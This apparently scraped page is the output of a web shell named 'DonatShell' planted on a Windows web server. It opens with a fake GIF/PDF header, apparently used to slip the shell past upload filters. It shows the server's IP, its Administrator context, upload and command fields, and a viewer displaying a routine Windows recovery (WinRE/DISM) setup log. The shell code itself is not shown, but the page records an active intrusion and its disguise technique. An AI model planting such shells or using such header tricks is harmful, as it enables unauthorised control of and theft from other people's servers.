GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/Logs/WinREAgent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/Logs/WinREAgent/setupact.log
2025-09-06 21:39:09, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll:                                            - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll:                                            - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll: API Version 10.0.19041.5794 - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll: Parent process command line: C:\WINDOWS\System32\WaaSMedicAgent.exe 8ad2a1b0a6417daec5aae3a208e485f9 Al1tbYG7pEGQErXbPmpUjQ.0.1.0.0.0 - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Enter DismInitializeInternal - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Input parameters: LogLevel: 2, LogFilePath: C:\Windows\Logs\WinREAgent\setupact.log, ScratchDirectory: (null) - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Initialized GlobalConfig - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Initialized SessionTable - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 m_pInternalThread started - CCommandThread::Start
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Created g_internalDismSession - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Leave DismInitializeInternal - DismInitializeInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Enter DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Input parameters: ImageFilePath: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE\winre.wim - DismGetImageInfoInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-06 21:39:09, Info                  DISM   PID=8368 TID=1900 Scratch directory set to 'C:\WINDOWS\TEMP\'. - CDISMManager::put_ScratchDir
2025-09-06 21:39:09, Info                  DISM   PID=8368 TID=1900 DismCore.dll version: 10.0.19041.3636 - CDISMManager::FinalConstruct
2025-09-06 21:39:09, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-06 21:39:09, Info                  DISM   PID=8368 TID=1900 Successfully loaded the ImageSession at "C:\WINDOWS\SYSTEM32\Dism" - CDISMManager::LoadLocalImageSession
2025-09-06 21:39:09, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Failed to get and initialize the PE Provider.  Continuing by assuming that it is not a WinPE image. - CDISMProviderStore::Final_OnConnect
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Finished initializing the Provider Map. - CDISMProviderStore::Final_OnConnect
2025-09-06 21:39:09, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-06 21:39:09, Info                  DISM   DISM Manager: PID=8368 TID=1900 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\ImagingProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-06 21:39:09, Info                  DISM   DISM Imaging Provider: PID=8368 TID=1900 WIM image specified - CGenericImagingManager::GetImageInfoCollection
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\WimProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Leave DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Enter DismDeleteInternal - DismDeleteInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Leave DismDeleteInternal - DismDeleteInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Enter DismShutdownInternal - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Found the OSServices.  Waiting to finalize it until all other providers are unloaded. - CDISMProviderStore::Final_OnDisconnect
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Disconnecting Provider: WimManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Disconnecting Provider: GenericImagingManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-06 21:39:09, Info                  DISM   DISM Provider Store: PID=8368 TID=1900 Releasing the local reference to DISMLogger.  Stop logging. - CDISMProviderStore::Internal_DisconnectProvider
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=1900 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Deleted g_internalDismSession - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Shutdown SessionTable - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 Leave DismShutdownInternal - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll:                                          - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll: <----- Ending DismApi.dll session -----> - DismShutdownInternal
2025-09-06 21:39:09, Info                  DISM   API: PID=8368 TID=8956 DismApi.dll:                                          - DismShutdownInternal
2025-09-06 21:39:09, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-06 21:39:09, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-06 21:39:09, Info                         WinRE partition total space [541061120], free space [86523904]
2025-09-10 09:46:59, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-10 09:46:59, Info                         [svchost.exe] Enter WinReGetConfig
2025-09-10 09:46:59, Info                         [svchost.exe] Parameters: configWinDir: NULL
2025-09-10 09:46:59, Info                         [svchost.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-10 09:46:59, Info                         [svchost.exe] Update enhanced config info is enabled.
2025-09-10 09:47:00, Info                         [svchost.exe] WinRE is installed
2025-09-10 09:47:00, Info                         [svchost.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-10 09:47:00, Info                         [svchost.exe] System is WimBoot: FALSE
2025-09-10 09:47:00, Info                         [svchost.exe] WinRE image validated
2025-09-10 09:47:00, Info                         [svchost.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll:                                            - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll:                                            - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll: API Version 10.0.19041.5794 - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll: Parent process command line: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s wuauserv - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Enter DismInitializeInternal - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Input parameters: LogLevel: 2, LogFilePath: C:\Windows\Logs\WinREAgent\setupact.log, ScratchDirectory: (null) - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Initialized GlobalConfig - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Initialized SessionTable - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 m_pInternalThread started - CCommandThread::Start
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Created g_internalDismSession - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Leave DismInitializeInternal - DismInitializeInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Enter DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Input parameters: ImageFilePath: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE\winre.wim - DismGetImageInfoInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-10 09:47:00, Info                  DISM   PID=7164 TID=3996 Scratch directory set to 'C:\WINDOWS\TEMP\'. - CDISMManager::put_ScratchDir
2025-09-10 09:47:00, Info                  DISM   PID=7164 TID=3996 DismCore.dll version: 10.0.19041.3636 - CDISMManager::FinalConstruct
2025-09-10 09:47:00, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:47:00, Info                  DISM   PID=7164 TID=3996 Successfully loaded the ImageSession at "C:\WINDOWS\SYSTEM32\Dism" - CDISMManager::LoadLocalImageSession
2025-09-10 09:47:00, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Failed to get and initialize the PE Provider.  Continuing by assuming that it is not a WinPE image. - CDISMProviderStore::Final_OnConnect
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Finished initializing the Provider Map. - CDISMProviderStore::Final_OnConnect
2025-09-10 09:47:00, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:47:00, Info                  DISM   DISM Manager: PID=7164 TID=3996 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\ImagingProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-10 09:47:00, Info                  DISM   DISM Imaging Provider: PID=7164 TID=3996 WIM image specified - CGenericImagingManager::GetImageInfoCollection
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\WimProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Leave DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Enter DismDeleteInternal - DismDeleteInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Leave DismDeleteInternal - DismDeleteInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Enter DismShutdownInternal - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Found the OSServices.  Waiting to finalize it until all other providers are unloaded. - CDISMProviderStore::Final_OnDisconnect
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Disconnecting Provider: WimManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Disconnecting Provider: GenericImagingManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:47:00, Info                  DISM   DISM Provider Store: PID=7164 TID=3996 Releasing the local reference to DISMLogger.  Stop logging. - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=3996 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Deleted g_internalDismSession - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Shutdown SessionTable - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 Leave DismShutdownInternal - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll:                                          - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll: <----- Ending DismApi.dll session -----> - DismShutdownInternal
2025-09-10 09:47:00, Info                  DISM   API: PID=7164 TID=8868 DismApi.dll:                                          - DismShutdownInternal
2025-09-10 09:53:16, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-10 09:53:16, Info                         [wuauclt.exe] Enter WinReGetConfig
2025-09-10 09:53:16, Info                         [wuauclt.exe] Parameters: configWinDir: NULL
2025-09-10 09:53:16, Info                         [wuauclt.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-10 09:53:16, Info                         [wuauclt.exe] Update enhanced config info is enabled.
2025-09-10 09:53:16, Info                         [wuauclt.exe] WinRE is installed
2025-09-10 09:53:16, Info                         [wuauclt.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-10 09:53:16, Info                         [wuauclt.exe] System is WimBoot: FALSE
2025-09-10 09:53:16, Info                         [wuauclt.exe] WinRE image validated
2025-09-10 09:53:16, Info                         [wuauclt.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll:                                            - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll:                                            - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll: API Version 10.0.19041.5794 - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll: Parent process command line: "C:\WINDOWS\system32\wuauclt.exe" /UpdateDeploymentProvider UpdateDeploymentProvider.dll /ClassId 4f4655f8-93eb-421e-ad14-d187c1319c93 /RunHandlerComServer - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Enter DismInitializeInternal - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Input parameters: LogLevel: 2, LogFilePath: C:\Windows\Logs\WinREAgent\setupact.log, ScratchDirectory: (null) - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Initialized GlobalConfig - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Initialized SessionTable - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 m_pInternalThread started - CCommandThread::Start
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Created g_internalDismSession - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Leave DismInitializeInternal - DismInitializeInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Enter DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Input parameters: ImageFilePath: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE\winre.wim - DismGetImageInfoInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-10 09:53:16, Info                  DISM   PID=7436 TID=664 Scratch directory set to 'C:\WINDOWS\TEMP\'. - CDISMManager::put_ScratchDir
2025-09-10 09:53:16, Info                  DISM   PID=7436 TID=664 DismCore.dll version: 10.0.19041.3636 - CDISMManager::FinalConstruct
2025-09-10 09:53:16, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:53:16, Info                  DISM   PID=7436 TID=664 Successfully loaded the ImageSession at "C:\WINDOWS\SYSTEM32\Dism" - CDISMManager::LoadLocalImageSession
2025-09-10 09:53:16, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Failed to get and initialize the PE Provider.  Continuing by assuming that it is not a WinPE image. - CDISMProviderStore::Final_OnConnect
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Finished initializing the Provider Map. - CDISMProviderStore::Final_OnConnect
2025-09-10 09:53:16, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-10 09:53:16, Info                  DISM   DISM Manager: PID=7436 TID=664 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\ImagingProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-10 09:53:16, Info                  DISM   DISM Imaging Provider: PID=7436 TID=664 WIM image specified - CGenericImagingManager::GetImageInfoCollection
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\WimProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Leave DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Enter DismDeleteInternal - DismDeleteInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Leave DismDeleteInternal - DismDeleteInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Enter DismShutdownInternal - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Found the OSServices.  Waiting to finalize it until all other providers are unloaded. - CDISMProviderStore::Final_OnDisconnect
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Disconnecting Provider: WimManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Disconnecting Provider: GenericImagingManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:53:16, Info                  DISM   DISM Provider Store: PID=7436 TID=664 Releasing the local reference to DISMLogger.  Stop logging. - CDISMProviderStore::Internal_DisconnectProvider
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=664 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Deleted g_internalDismSession - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Shutdown SessionTable - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 Leave DismShutdownInternal - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll:                                          - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll: <----- Ending DismApi.dll session -----> - DismShutdownInternal
2025-09-10 09:53:16, Info                  DISM   API: PID=7436 TID=4372 DismApi.dll:                                          - DismShutdownInternal
